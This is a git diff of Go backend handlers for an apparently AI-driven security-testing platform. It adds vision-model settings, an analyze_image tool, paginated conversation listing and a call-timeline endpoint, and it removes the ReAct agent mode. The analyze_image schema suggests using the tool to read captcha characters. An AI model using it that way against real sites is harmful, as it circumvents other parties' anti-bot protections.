||||||
type GetConfigResponse struct {
|
type GetConfigResponse struct {
|
||||||
OpenAI config.OpenAIConfig `json:"openai"`
|
OpenAI config.OpenAIConfig `json:"openai"`
|
||||||
|
Vision config.VisionConfig `json:"vision"`
|
||||||
FOFA config.FofaConfig `json:"fofa"`
|
FOFA config.FofaConfig `json:"fofa"`
|
||||||
MCP config.MCPConfig `json:"mcp"`
|
MCP config.MCPConfig `json:"mcp"`
|
||||||
Tools []ToolConfigInfo `json:"tools"`
|
Tools []ToolConfigInfo `json:"tools"`
|
||||||
@@ -333,6 +334,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
|
|||||||
|
|
||||||
c.JSON(http.StatusOK, GetConfigResponse{
|
c.JSON(http.StatusOK, GetConfigResponse{
|
||||||
OpenAI: h.config.OpenAI,
|
OpenAI: h.config.OpenAI,
|
||||||
|
Vision: h.config.Vision,
|
||||||
FOFA: h.config.FOFA,
|
FOFA: h.config.FOFA,
|
||||||
MCP: h.config.MCP,
|
MCP: h.config.MCP,
|
||||||
Tools: tools,
|
Tools: tools,
|
||||||
@@ -638,6 +640,7 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
|||||||
// UpdateConfigRequest 更新配置请求
|
// UpdateConfigRequest 更新配置请求
|
||||||
type UpdateConfigRequest struct {
|
type UpdateConfigRequest struct {
|
||||||
OpenAI *config.OpenAIConfig `json:"openai,omitempty"`
|
OpenAI *config.OpenAIConfig `json:"openai,omitempty"`
|
||||||
|
Vision *config.VisionConfig `json:"vision,omitempty"`
|
||||||
FOFA *config.FofaConfig `json:"fofa,omitempty"`
|
FOFA *config.FofaConfig `json:"fofa,omitempty"`
|
||||||
MCP *config.MCPConfig `json:"mcp,omitempty"`
|
MCP *config.MCPConfig `json:"mcp,omitempty"`
|
||||||
Tools []ToolEnableStatus `json:"tools,omitempty"`
|
Tools []ToolEnableStatus `json:"tools,omitempty"`
|
||||||
@@ -707,6 +710,14 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if req.Vision != nil {
|
||||||
|
h.config.Vision = *req.Vision
|
||||||
|
h.logger.Info("更新 Vision 配置",
|
||||||
|
zap.Bool("enabled", h.config.Vision.Enabled),
|
||||||
|
zap.String("model", h.config.Vision.Model),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
// 更新FOFA配置
|
// 更新FOFA配置
|
||||||
if req.FOFA != nil {
|
if req.FOFA != nil {
|
||||||
h.config.FOFA = *req.FOFA
|
h.config.FOFA = *req.FOFA
|
||||||
@@ -783,7 +794,7 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
|
|||||||
if mode := strings.TrimSpace(req.MultiAgent.RobotDefaultAgentMode); mode != "" {
|
if mode := strings.TrimSpace(req.MultiAgent.RobotDefaultAgentMode); mode != "" {
|
||||||
h.config.MultiAgent.RobotDefaultAgentMode = mode
|
h.config.MultiAgent.RobotDefaultAgentMode = mode
|
||||||
} else {
|
} else {
|
||||||
h.config.MultiAgent.RobotDefaultAgentMode = "react"
|
h.config.MultiAgent.RobotDefaultAgentMode = "eino_single"
|
||||||
}
|
}
|
||||||
if req.MultiAgent.PlanExecuteLoopMaxIterations != nil {
|
if req.MultiAgent.PlanExecuteLoopMaxIterations != nil {
|
||||||
h.config.MultiAgent.PlanExecuteLoopMaxIterations = *req.MultiAgent.PlanExecuteLoopMaxIterations
|
h.config.MultiAgent.PlanExecuteLoopMaxIterations = *req.MultiAgent.PlanExecuteLoopMaxIterations
|
||||||
@@ -1031,6 +1042,99 @@ func (h *ConfigHandler) TestOpenAI(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TestVisionRequest 测试 Vision 模型连接;vision.api_key/base_url 留空时可传 openai 段作回退。
|
||||||
|
type TestVisionRequest struct {
|
||||||
|
Vision config.VisionConfig `json:"vision"`
|
||||||
|
OpenAI config.OpenAIConfig `json:"openai,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestVision 测试视觉模型 API 连接(最小 chat completion)。
|
||||||
|
func (h *ConfigHandler) TestVision(c *gin.Context) {
|
||||||
|
var req TestVisionRequest
|
||||||
|
if err := c.ShouldBindJSON(&req); err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
oa := req.Vision.OpenAICfgEffective(req.OpenAI)
|
||||||
|
if strings.TrimSpace(oa.APIKey) == "" {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "API Key 不能为空(可填写 vision.api_key 或 openai.api_key)"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(oa.Model) == "" {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "视觉模型不能为空"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
baseURL := strings.TrimSuffix(strings.TrimSpace(oa.BaseURL), "/")
|
||||||
|
if baseURL == "" {
|
||||||
|
if strings.EqualFold(strings.TrimSpace(oa.Provider), "claude") {
|
||||||
|
baseURL = "https://api.anthropic.com"
|
||||||
|
} else {
|
||||||
|
baseURL = "https://api.openai.com/v1"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
payload := map[string]interface{}{
|
||||||
|
"model": oa.Model,
|
||||||
|
"messages": []map[string]string{
|
||||||
|
{"role": "user", "content": "Hi"},
|
||||||
|
},
|
||||||
|
"max_completion_tokens": 5,
|
||||||
|
}
|
||||||
|
|
||||||
|
tmpCfg := &config.OpenAIConfig{
|
||||||
|
Provider: oa.Provider,
|
||||||
|
BaseURL: baseURL,
|
||||||
|
APIKey: strings.TrimSpace(oa.APIKey),
|
||||||
|
Model: oa.Model,
|
||||||
|
}
|
||||||
|
client := openai.NewClient(tmpCfg, nil, h.logger)
|
||||||
|
|
||||||
|
ctx, cancel := context.WithTimeout(c.Request.Context(), 30*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
start := time.Now()
|
||||||
|
var chatResp struct {
|
||||||
|
Model string `json:"model"`
|
||||||
|
Choices []struct {
|
||||||
|
Message struct {
|
||||||
|
Content string `json:"content"`
|
||||||
|
} `json:"message"`
|
||||||
|
} `json:"choices"`
|
||||||
|
}
|
||||||
|
err := client.ChatCompletion(ctx, payload, &chatResp)
|
||||||
|
latency := time.Since(start)
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
if apiErr, ok := err.(*openai.APIError); ok {
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": false,
|
||||||
|
"error": fmt.Sprintf("API 返回错误 (HTTP %d): %s", apiErr.StatusCode, apiErr.Body),
|
||||||
|
"status_code": apiErr.StatusCode,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": false,
|
||||||
|
"error": "连接失败: " + err.Error(),
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if len(chatResp.Choices) == 0 {
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": false,
|
||||||
|
"error": "API 响应缺少 choices 字段,请检查 Base URL 与视觉模型名称",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"model": chatResp.Model,
|
||||||
|
"latency_ms": latency.Milliseconds(),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
// ApplyConfig 应用配置(重新加载并重启相关服务)
|
// ApplyConfig 应用配置(重新加载并重启相关服务)
|
||||||
func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
|
func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
|
||||||
// 先检查是否需要动态初始化知识库(在锁外执行,避免阻塞其他请求)
|
// 先检查是否需要动态初始化知识库(在锁外执行,避免阻塞其他请求)
|
||||||
@@ -1286,6 +1390,7 @@ func (h *ConfigHandler) saveConfig() error {
|
|||||||
updateAgentConfig(root, h.config.Agent)
|
updateAgentConfig(root, h.config.Agent)
|
||||||
updateMCPConfig(root, h.config.MCP)
|
updateMCPConfig(root, h.config.MCP)
|
||||||
updateOpenAIConfig(root, h.config.OpenAI)
|
updateOpenAIConfig(root, h.config.OpenAI)
|
||||||
|
updateVisionConfig(root, h.config.Vision)
|
||||||
updateFOFAConfig(root, h.config.FOFA)
|
updateFOFAConfig(root, h.config.FOFA)
|
||||||
updateKnowledgeConfig(root, h.config.Knowledge)
|
updateKnowledgeConfig(root, h.config.Knowledge)
|
||||||
updateC2Config(root, h.config.C2)
|
updateC2Config(root, h.config.C2)
|
||||||
@@ -1406,6 +1511,45 @@ func updateMCPConfig(doc *yaml.Node, cfg config.MCPConfig) {
|
|||||||
setIntInMap(mcpNode, "port", cfg.Port)
|
setIntInMap(mcpNode, "port", cfg.Port)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func updateVisionConfig(doc *yaml.Node, cfg config.VisionConfig) {
|
||||||
|
root := doc.Content[0]
|
||||||
|
visionNode := ensureMap(root, "vision")
|
||||||
|
setBoolInMap(visionNode, "enabled", cfg.Enabled)
|
||||||
|
if strings.TrimSpace(cfg.APIKey) != "" {
|
||||||
|
setStringInMap(visionNode, "api_key", cfg.APIKey)
|
||||||
|
} else {
|
||||||
|
setStringInMap(visionNode, "api_key", "")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(cfg.BaseURL) != "" {
|
||||||
|
setStringInMap(visionNode, "base_url", cfg.BaseURL)
|
||||||
|
} else {
|
||||||
|
setStringInMap(visionNode, "base_url", "")
|
||||||
|
}
|
||||||
|
setStringInMap(visionNode, "model", cfg.Model)
|
||||||
|
if strings.TrimSpace(cfg.Provider) != "" {
|
||||||
|
setStringInMap(visionNode, "provider", cfg.Provider)
|
||||||
|
}
|
||||||
|
if cfg.TimeoutSeconds > 0 {
|
||||||
|
setIntInMap(visionNode, "timeout_seconds", cfg.TimeoutSeconds)
|
||||||
|
}
|
||||||
|
if cfg.MaxImageBytes > 0 {
|
||||||
|
setIntInMap(visionNode, "max_image_bytes", int(cfg.MaxImageBytes))
|
||||||
|
}
|
||||||
|
if cfg.MaxDimension > 0 {
|
||||||
|
setIntInMap(visionNode, "max_dimension", cfg.MaxDimension)
|
||||||
|
}
|
||||||
|
if cfg.JPEGQuality > 0 {
|
||||||
|
setIntInMap(visionNode, "jpeg_quality", cfg.JPEGQuality)
|
||||||
|
}
|
||||||
|
if cfg.MaxPayloadBytes > 0 {
|
||||||
|
setIntInMap(visionNode, "max_payload_bytes", int(cfg.MaxPayloadBytes))
|
||||||
|
}
|
||||||
|
setIntInMap(visionNode, "skip_preprocess_below_bytes", int(cfg.SkipPreprocessBelowBytes))
|
||||||
|
if strings.TrimSpace(cfg.Detail) != "" {
|
||||||
|
setStringInMap(visionNode, "detail", cfg.Detail)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func updateOpenAIConfig(doc *yaml.Node, cfg config.OpenAIConfig) {
|
func updateOpenAIConfig(doc *yaml.Node, cfg config.OpenAIConfig) {
|
||||||
root := doc.Content[0]
|
root := doc.Content[0]
|
||||||
openaiNode := ensureMap(root, "openai")
|
openaiNode := ensureMap(root, "openai")
|
||||||
|
|||||||
@@ -96,18 +96,44 @@ func (h *ConversationHandler) ListConversations(c *gin.Context) {
|
|||||||
limit, _ := strconv.Atoi(limitStr)
|
limit, _ := strconv.Atoi(limitStr)
|
||||||
offset, _ := strconv.Atoi(offsetStr)
|
offset, _ := strconv.Atoi(offsetStr)
|
||||||
|
|
||||||
if limit <= 0 || limit > 100 {
|
if limit <= 0 {
|
||||||
limit = 50
|
limit = 50
|
||||||
}
|
}
|
||||||
|
if limit > 1000 {
|
||||||
|
limit = 1000
|
||||||
|
}
|
||||||
|
|
||||||
conversations, err := h.db.ListConversations(limit, offset, search)
|
excludeGrouped := strings.TrimSpace(search) == "" &&
|
||||||
|
(c.Query("exclude_grouped") == "true" || c.Query("exclude_grouped") == "1")
|
||||||
|
|
||||||
|
var conversations []*database.Conversation
|
||||||
|
var total int
|
||||||
|
var err error
|
||||||
|
if excludeGrouped {
|
||||||
|
conversations, err = h.db.ListUngroupedConversations(limit, offset)
|
||||||
|
if err == nil {
|
||||||
|
total, err = h.db.CountUngroupedConversations()
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
conversations, err = h.db.ListConversations(limit, offset, search)
|
||||||
|
if err == nil {
|
||||||
|
total, err = h.db.CountConversations(search)
|
||||||
|
}
|
||||||
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
h.logger.Error("获取对话列表失败", zap.Error(err))
|
h.logger.Error("获取对话列表失败", zap.Error(err))
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if conversations == nil {
|
||||||
c.JSON(http.StatusOK, conversations)
|
conversations = []*database.Conversation{}
|
||||||
|
}
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"conversations": conversations,
|
||||||
|
"total": total,
|
||||||
|
"limit": limit,
|
||||||
|
"offset": offset,
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetConversation 获取对话
|
// GetConversation 获取对话
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ import (
|
|||||||
|
|
||||||
// EinoSingleAgentLoopStream Eino ADK 单代理(ChatModelAgent + Runner)流式对话;不依赖 multi_agent.enabled。
|
// EinoSingleAgentLoopStream Eino ADK 单代理(ChatModelAgent + Runner)流式对话;不依赖 multi_agent.enabled。
|
||||||
func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
||||||
c.Header("Content-Type", "text/event-stream")
|
c.Header("Content-Type", "text/event-stream; charset=utf-8")
|
||||||
c.Header("Cache-Control", "no-cache")
|
c.Header("Cache-Control", "no-cache")
|
||||||
c.Header("Connection", "keep-alive")
|
c.Header("Connection", "keep-alive")
|
||||||
|
|
||||||
|
|||||||
@@ -12,7 +12,6 @@ import (
|
|||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"cyberstrike-ai/internal/agent"
|
|
||||||
"cyberstrike-ai/internal/database"
|
"cyberstrike-ai/internal/database"
|
||||||
"cyberstrike-ai/internal/multiagent"
|
"cyberstrike-ai/internal/multiagent"
|
||||||
|
|
||||||
@@ -691,35 +690,6 @@ func (h *AgentHandler) interceptHITLForEinoTool(runCtx context.Context, cancelRu
|
|||||||
return arguments, nil
|
return arguments, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *AgentHandler) interceptHITLForReactTool(runCtx context.Context, cancelRun context.CancelCauseFunc, conversationID, assistantMessageID string, sendEventFunc func(eventType, message string, data interface{}), toolName string, arguments map[string]interface{}, toolCallID string) (map[string]interface{}, error) {
|
|
||||||
payload := map[string]interface{}{
|
|
||||||
"toolName": toolName,
|
|
||||||
"argumentsObj": arguments,
|
|
||||||
"toolCallId": toolCallID,
|
|
||||||
"source": "react_pre_exec",
|
|
||||||
}
|
|
||||||
d, err := h.waitHITLApproval(runCtx, cancelRun, conversationID, assistantMessageID, toolName, toolCallID, payload, sendEventFunc)
|
|
||||||
if err != nil || d == nil {
|
|
||||||
return arguments, err
|
|
||||||
}
|
|
||||||
if d.Decision == "reject" {
|
|
||||||
comment := strings.TrimSpace(d.Comment)
|
|
||||||
if comment == "" {
|
|
||||||
comment = "no extra feedback"
|
|
||||||
}
|
|
||||||
return arguments, errors.New("human rejected this tool call; feedback: " + comment)
|
|
||||||
}
|
|
||||||
if len(d.EditedArguments) > 0 {
|
|
||||||
return d.EditedArguments, nil
|
|
||||||
}
|
|
||||||
return arguments, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *AgentHandler) injectReactHITLInterceptor(ctx context.Context, cancelRun context.CancelCauseFunc, conversationID, assistantMessageID string, sendEventFunc func(eventType, message string, data interface{})) context.Context {
|
|
||||||
return agent.WithToolCallInterceptor(ctx, func(c context.Context, toolName string, args map[string]interface{}, toolCallID string) (map[string]interface{}, error) {
|
|
||||||
return h.interceptHITLForReactTool(c, cancelRun, conversationID, assistantMessageID, sendEventFunc, toolName, args, toolCallID)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
type hitlConfigReq struct {
|
type hitlConfigReq struct {
|
||||||
ConversationID string `json:"conversationId" binding:"required"`
|
ConversationID string `json:"conversationId" binding:"required"`
|
||||||
|
|||||||
@@ -327,6 +327,124 @@ func (h *MonitorHandler) GetStats(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, stats)
|
c.JSON(http.StatusOK, stats)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CallsTimelinePoint 调用趋势数据点
|
||||||
|
type CallsTimelinePoint struct {
|
||||||
|
T time.Time `json:"t"`
|
||||||
|
Total int `json:"total"`
|
||||||
|
Failed int `json:"failed"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// CallsTimelineSummary 调用趋势汇总
|
||||||
|
type CallsTimelineSummary struct {
|
||||||
|
TotalCalls int `json:"totalCalls"`
|
||||||
|
Peak int `json:"peak"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// CallsTimelineResponse 调用趋势响应
|
||||||
|
type CallsTimelineResponse struct {
|
||||||
|
Range string `json:"range"`
|
||||||
|
Points []CallsTimelinePoint `json:"points"`
|
||||||
|
Summary CallsTimelineSummary `json:"summary"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type callsTimelineConfig struct {
|
||||||
|
rangeKey string
|
||||||
|
duration time.Duration
|
||||||
|
bucketSize time.Duration
|
||||||
|
dailyBuckets bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseCallsTimelineRange(raw string) (callsTimelineConfig, bool) {
|
||||||
|
switch strings.TrimSpace(raw) {
|
||||||
|
case "24h":
|
||||||
|
return callsTimelineConfig{rangeKey: "24h", duration: 24 * time.Hour, bucketSize: time.Hour, dailyBuckets: false}, true
|
||||||
|
case "30d":
|
||||||
|
return callsTimelineConfig{rangeKey: "30d", duration: 30 * 24 * time.Hour, bucketSize: 24 * time.Hour, dailyBuckets: true}, true
|
||||||
|
default:
|
||||||
|
return callsTimelineConfig{rangeKey: "7d", duration: 7 * 24 * time.Hour, bucketSize: time.Hour, dailyBuckets: false}, true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func truncateToBucket(t time.Time, bucketSize time.Duration, dailyBuckets bool) time.Time {
|
||||||
|
if dailyBuckets {
|
||||||
|
y, m, d := t.Date()
|
||||||
|
return time.Date(y, m, d, 0, 0, 0, 0, t.Location())
|
||||||
|
}
|
||||||
|
return t.Truncate(bucketSize)
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildCallsTimelinePoints(cfg callsTimelineConfig, buckets map[time.Time]struct{ total, failed int }) []CallsTimelinePoint {
|
||||||
|
now := time.Now()
|
||||||
|
start := truncateToBucket(now.Add(-cfg.duration), cfg.bucketSize, cfg.dailyBuckets)
|
||||||
|
end := truncateToBucket(now, cfg.bucketSize, cfg.dailyBuckets)
|
||||||
|
|
||||||
|
points := make([]CallsTimelinePoint, 0)
|
||||||
|
for current := start; !current.After(end); current = current.Add(cfg.bucketSize) {
|
||||||
|
val := buckets[current]
|
||||||
|
points = append(points, CallsTimelinePoint{
|
||||||
|
T: current,
|
||||||
|
Total: val.total,
|
||||||
|
Failed: val.failed,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return points
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *MonitorHandler) loadCallsTimeline(cfg callsTimelineConfig) []CallsTimelinePoint {
|
||||||
|
since := time.Now().Add(-cfg.duration)
|
||||||
|
bucketMap := make(map[time.Time]struct{ total, failed int })
|
||||||
|
|
||||||
|
if h.db != nil {
|
||||||
|
dbBuckets, err := h.db.LoadCallsTimeline(since, cfg.dailyBuckets)
|
||||||
|
if err != nil {
|
||||||
|
h.logger.Warn("从数据库加载调用趋势失败,回退到内存数据", zap.Error(err))
|
||||||
|
} else {
|
||||||
|
for _, b := range dbBuckets {
|
||||||
|
key := truncateToBucket(b.BucketTime, cfg.bucketSize, cfg.dailyBuckets)
|
||||||
|
entry := bucketMap[key]
|
||||||
|
entry.total += b.Total
|
||||||
|
entry.failed += b.Failed
|
||||||
|
bucketMap[key] = entry
|
||||||
|
}
|
||||||
|
return buildCallsTimelinePoints(cfg, bucketMap)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, exec := range h.mcpServer.GetAllExecutions() {
|
||||||
|
if exec == nil || exec.StartTime.Before(since) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
key := truncateToBucket(exec.StartTime, cfg.bucketSize, cfg.dailyBuckets)
|
||||||
|
entry := bucketMap[key]
|
||||||
|
entry.total++
|
||||||
|
if exec.Status == "failed" || exec.Status == "cancelled" {
|
||||||
|
entry.failed++
|
||||||
|
}
|
||||||
|
bucketMap[key] = entry
|
||||||
|
}
|
||||||
|
return buildCallsTimelinePoints(cfg, bucketMap)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetCallsTimeline 获取 MCP 工具调用趋势
|
||||||
|
func (h *MonitorHandler) GetCallsTimeline(c *gin.Context) {
|
||||||
|
cfg, _ := parseCallsTimelineRange(c.Query("range"))
|
||||||
|
points := h.loadCallsTimeline(cfg)
|
||||||
|
|
||||||
|
summary := CallsTimelineSummary{}
|
||||||
|
for _, p := range points {
|
||||||
|
summary.TotalCalls += p.Total
|
||||||
|
if p.Total > summary.Peak {
|
||||||
|
summary.Peak = p.Total
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, CallsTimelineResponse{
|
||||||
|
Range: cfg.rangeKey,
|
||||||
|
Points: points,
|
||||||
|
Summary: summary,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
// DeleteExecution 删除执行记录
|
// DeleteExecution 删除执行记录
|
||||||
func (h *MonitorHandler) DeleteExecution(c *gin.Context) {
|
func (h *MonitorHandler) DeleteExecution(c *gin.Context) {
|
||||||
id := c.Param("id")
|
id := c.Param("id")
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ import (
|
|||||||
|
|
||||||
// MultiAgentLoopStream Eino DeepAgent 流式对话(需 config.multi_agent.enabled)。
|
// MultiAgentLoopStream Eino DeepAgent 流式对话(需 config.multi_agent.enabled)。
|
||||||
func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
||||||
c.Header("Content-Type", "text/event-stream")
|
c.Header("Content-Type", "text/event-stream; charset=utf-8")
|
||||||
c.Header("Cache-Control", "no-cache")
|
c.Header("Cache-Control", "no-cache")
|
||||||
c.Header("Connection", "keep-alive")
|
c.Header("Connection", "keep-alive")
|
||||||
if h.config == nil || !h.config.MultiAgent.Enabled {
|
if h.config == nil || !h.config.MultiAgent.Enabled {
|
||||||
@@ -395,7 +395,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
|||||||
sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
|
sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
|
||||||
}
|
}
|
||||||
|
|
||||||
// MultiAgentLoop Eino DeepAgent 非流式对话(与 POST /api/agent-loop 对齐,需 multi_agent.enabled)。
|
// MultiAgentLoop Eino DeepAgent 非流式对话(需 multi_agent.enabled)。
|
||||||
func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
|
func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
|
||||||
if h.config == nil || !h.config.MultiAgent.Enabled {
|
if h.config == nil || !h.config.MultiAgent.Enabled {
|
||||||
c.JSON(http.StatusNotFound, gin.H{"error": "多代理未启用,请在 config.yaml 中设置 multi_agent.enabled: true"})
|
c.JSON(http.StatusNotFound, gin.H{"error": "多代理未启用,请在 config.yaml 中设置 multi_agent.enabled: true"})
|
||||||
|
|||||||
+101
-149
@@ -423,8 +423,8 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
},
|
},
|
||||||
"agentMode": map[string]interface{}{
|
"agentMode": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "代理模式:single(原生 ReAct)| eino_single(Eino ADK 单代理)| deep | plan_execute | supervisor;react 同 single;旧值 multi 按 deep",
|
"description": "代理模式:eino_single(Eino ADK 单代理,默认)| deep | plan_execute | supervisor",
|
||||||
"enum": []string{"single", "eino_single", "deep", "plan_execute", "supervisor", "multi", "react"},
|
"enum": []string{"eino_single", "deep", "plan_execute", "supervisor"},
|
||||||
},
|
},
|
||||||
"scheduleMode": map[string]interface{}{
|
"scheduleMode": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
@@ -778,11 +778,54 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
},
|
},
|
||||||
"ConfigResponse": map[string]interface{}{
|
"ConfigResponse": map[string]interface{}{
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"description": "配置信息",
|
"description": "配置信息(含 openai、vision、multi_agent 等)",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"vision": map[string]interface{}{
|
||||||
|
"$ref": "#/components/schemas/VisionConfig",
|
||||||
|
},
|
||||||
|
},
|
||||||
},
|
},
|
||||||
"UpdateConfigRequest": map[string]interface{}{
|
"UpdateConfigRequest": map[string]interface{}{
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"description": "更新配置请求",
|
"description": "更新配置请求",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"vision": map[string]interface{}{
|
||||||
|
"$ref": "#/components/schemas/VisionConfig",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"VisionConfig": map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"description": "视觉分析(analyze_image MCP 工具);enabled 且 model 非空时注册工具",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"enabled": map[string]interface{}{"type": "boolean", "description": "是否启用 analyze_image"},
|
||||||
|
"model": map[string]interface{}{"type": "string", "description": "视觉模型名(必填)", "example": "qwen-vl-max"},
|
||||||
|
"api_key": map[string]interface{}{"type": "string", "description": "API Key;留空复用 openai.api_key"},
|
||||||
|
"base_url": map[string]interface{}{"type": "string", "description": "Base URL;留空复用 openai.base_url"},
|
||||||
|
"provider": map[string]interface{}{"type": "string", "description": "提供商;留空复用 openai.provider"},
|
||||||
|
"timeout_seconds": map[string]interface{}{"type": "integer", "description": "VL 调用超时(秒)"},
|
||||||
|
"max_image_bytes": map[string]interface{}{"type": "integer", "description": "原始文件大小上限(字节)"},
|
||||||
|
"max_dimension": map[string]interface{}{"type": "integer", "description": "长边缩放像素"},
|
||||||
|
"jpeg_quality": map[string]interface{}{"type": "integer", "description": "JPEG 质量 60-100"},
|
||||||
|
"max_payload_bytes": map[string]interface{}{"type": "integer", "description": "送 API 体积上限(字节)"},
|
||||||
|
"skip_preprocess_below_bytes": map[string]interface{}{"type": "integer", "description": "低于该字节且尺寸合规时可原图直传;0=始终压缩"},
|
||||||
|
"detail": map[string]interface{}{"type": "string", "enum": []string{"low", "high", "auto"}, "description": "OpenAI 兼容 image detail"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"AnalyzeImageToolCall": map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"description": "内置 MCP 工具 analyze_image:分析服务器本地图片,返回纯文本(验证码/UI/报错等)",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"path": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "图片绝对路径或相对于进程工作目录的路径",
|
||||||
|
},
|
||||||
|
"question": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "可选:重点问题;验证码建议「只输出验证码字符」",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"required": []string{"path"},
|
||||||
},
|
},
|
||||||
"ExternalMCPConfig": map[string]interface{}{
|
"ExternalMCPConfig": map[string]interface{}{
|
||||||
"type": "object",
|
"type": "object",
|
||||||
@@ -1121,7 +1164,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"post": map[string]interface{}{
|
"post": map[string]interface{}{
|
||||||
"tags": []string{"对话管理"},
|
"tags": []string{"对话管理"},
|
||||||
"summary": "创建对话",
|
"summary": "创建对话",
|
||||||
"description": "创建一个新的安全测试对话。\n**重要说明**:\n- ✅ 创建的对话会**立即保存到数据库**\n- ✅ 前端页面会**自动刷新**显示新对话\n- ✅ 与前端创建的对话**完全一致**\n**创建对话的两种方式**:\n**方式1(推荐):** 直接使用 `/api/agent-loop` 发送消息,**不提供** `conversationId` 参数,系统会自动创建新对话并发送消息。这是最简单的方式,一步完成创建和发送。\n**方式2:** 先调用此端点创建空对话,然后使用返回的 `conversationId` 调用 `/api/agent-loop` 发送消息。适用于需要先创建对话,稍后再发送消息的场景。\n**示例**:\n```json\n{\n \"title\": \"Web应用安全测试\"\n}\n```",
|
